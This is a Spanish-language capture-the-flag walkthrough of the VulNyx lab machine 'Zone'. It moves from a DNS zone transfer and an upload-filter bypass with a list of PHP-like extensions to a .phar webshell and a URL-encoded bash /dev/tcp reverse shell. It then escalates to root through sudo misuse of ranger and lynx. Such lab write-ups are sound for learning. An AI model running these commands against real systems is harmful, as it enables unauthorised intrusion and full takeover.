VulNyx - Zone
- Domain Zone Transfer (AXFR)
- Insecure File Upload
- Abuse Ranger Binary
- Abuse Lynx Binary - Privesc
Escaneo de puertos
❯ nmap -p- -T5 -n -v 192.168.1.113
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
Escaneo de servicios
❯ nmap -sVC -v -p 22,53,80 192.168.1.113
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 f7:ea:48:1a:a3:46:0b:bd:ac:47:73:e8:78:25:af:42 (RSA)
| 256 2e:41:ca:86:1c:73:ca:de:ed:b8:74:af:d2:06:5c:68 (ECDSA)
|_ 256 33:6e:a2:58:1c:5e:37:e1:98:8c:44:b1:1c:36:6d:75 (ED25519)
53/tcp open domain (unknown banner: not currently available)
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
| bind
|_ currently available
| dns-nsid:
|_ bind.version: not currently available
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-title: Apache2 Debian Default Page: It works
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.94%I=7%D=10/5%Time=651EF3DA%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,52,"\0P\0\x06\x85\0\0\x01\0\x01\0\x01\0\0\x07version\x
SF:04bind\0\0\x10\0\x03\xc0\x0c\0\x10\0\x03\0\0\0\0\0\x18\x17not\x20curren
SF:tly\x20available\xc0\x0c\0\x02\0\x03\0\0\0\0\0\x02\xc0\x0c");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Escaneo con script http-enum.
❯ nmap --script http-enum -p 80 192.168.1.113
PORT STATE SERVICE
80/tcp open http
| http-enum:
|_ /robots.txt: Robots file
Archivo robots.txt
.
❯ curl -s 192.168.1.113/robots.txt
User-agent: *
Allow: /
Sitemap: http://securezone.nyx/sitemap.xml
Visito el enlace que contiene el archivo robots.txt
.
Añado el dominio securezone.nyx
a mi archivo hosts y visito de nuevo el dominio.
DNS - TCP/UDP 53
Uso dig para encontrar subdominios.
❯ dig axfr @192.168.1.113 securezone.nyx
; <<>> DiG 9.18.16-1-Debian <<>> axfr @192.168.1.113 securezone.nyx
; (1 server found)
;; global options: +cmd
securezone.nyx. 604800 IN SOA ns1.securezone.nyx. root.securezone.nyx. 2 604800 86400 2419200 604800
securezone.nyx. 604800 IN NS ns1.securezone.nyx.
admin.securezone.nyx. 604800 IN A 127.0.0.1
ns1.securezone.nyx. 604800 IN A 127.0.0.1
upl0ads.securezone.nyx. 604800 IN A 127.0.0.1
www.securezone.nyx. 604800 IN A 127.0.0.1
securezone.nyx. 604800 IN SOA ns1.securezone.nyx. root.securezone.nyx. 2 604800 86400 2419200 604800
;; Query time: 0 msec
;; SERVER: 192.168.1.113#53(192.168.1.113) (TCP)
;; WHEN: Thu Oct 05 19:48:51 CEST 2023
;; XFR size: 7 records (messages 1, bytes 248)
Creo un pequeño diccionario para comprobar que subdominios están activos.
securezone
ns1
root
admin
upl0ads
Encuentro el subdominio upl0ads y lo añado a mi archivo hosts.
❯ wfuzz -t 200 -c --hw=933 -w domains -H "Host: FUZZ.securezone.nyx" http://securezone.nyx
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://securezone.nyx/
Total requests: 5
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000005: 200 26 L 51 W 525 Ch "upl0ads"
Visito el nuevo subdominio y encuentro una herramienta para subir archivos.
Si intento subir un archivo con extensión .php
me contesta que la extensión no está permitida.
Abro burpsuite e intercepto la petición.
Envio la petición al intruder para comprobar si puedo subir archivos con otra extensión similar.
Creo esta lista de extensiones.
.php2
.php3
.php4
.php5
.php6
.php7
.phps
.pht
.phtm
.phtml
.pgif
.shtml
.htaccess
.phar
.inc
.hphp
.ctp
Lanzo el ataque y observo que la extension phar
es la única que tiene la longitud mas baja.
Con el comando mv cambio la extensión php a phar.
❯ mv shell.php shell.phar
Subo el archivo phar.
Y se sube correctamente.
Realizo fuerza bruta de directorios y encuentro el directorio uploads.
❯ wfuzz -c -t 200 --hc=404 --hl=0 -w /usr/share/seclists/Discovery/Web-Content/big.txt 'http://upl0ads.securezone.nyx/FUZZ'
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://upl0ads.securezone.nyx/FUZZ
Total requests: 20476
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000018782: 301 9 L 28 W 334 Ch "uploads"
Lanzo curl para comprobar que tengo ejecución de comandos.
❯ curl 'http://upl0ads.securezone.nyx/uploads/shell.phar?c=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Me lanzo una shell.
❯ curl 'http://upl0ads.securezone.nyx/uploads/shell.phar?c=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.18%2F443%200%3E%261%22'
Obtengo la shell como usuario www-data
.
❯ nc -lvp 443
listening on [any] 443 ...
connect to [192.168.1.18] from securezone.nyx [192.168.1.113] 53734
bash: cannot set terminal process group (470): Inappropriate ioctl for device
bash: no job control in this shell
www-data@zone:/var/www/site/uploads$
Enumero permisos de sudo.
www-data@zone:/var/www/site/uploads$ sudo -l
Matching Defaults entries for www-data on zone:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on zone:
(hans) NOPASSWD: /usr/bin/ranger
Movimiento lateral
Lanzo el binario como usuario hans.
www-data@zone:/var/www/site/uploads$ sudo -u hans /usr/bin/ranger
Aparece esta ventana, pulso ! y escribo /bin/bash
.
Una vez pulso enter ya soy usuario hans.
www-data@zone:/var/www/site/uploads$ sudo -u hans /usr/bin/ranger
hans@zone:~$ id
uid=1000(hans) gid=1000(hans) groups=1000(hans)
Enumero de nuevo permisos de sudo.
hans@zone:~$ sudo -l
Matching Defaults entries for hans on zone:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User hans may run the following commands on zone:
(root) NOPASSWD: /usr/bin/lynx
En la ayuda del binario lynx encuentro esta flag.
-term=TERM set terminal type to TERM
Uso lynx con la flag -term
con el valor xterm-256color
.
hans@zone:~$ sudo /usr/bin/lynx -term=xterm-256color
Spawning your default shell. Use 'exit' to return to Lynx.
Al lanzar el comando me muestra el about de lynx.
Pulso ! para generar una shell de comandos como root.
root@zone:/home/hans# id
uid=0(root) gid=0(root) groups=0(root)
Y con esto ya tenemos resuelta la máquina Zone.
Saludos!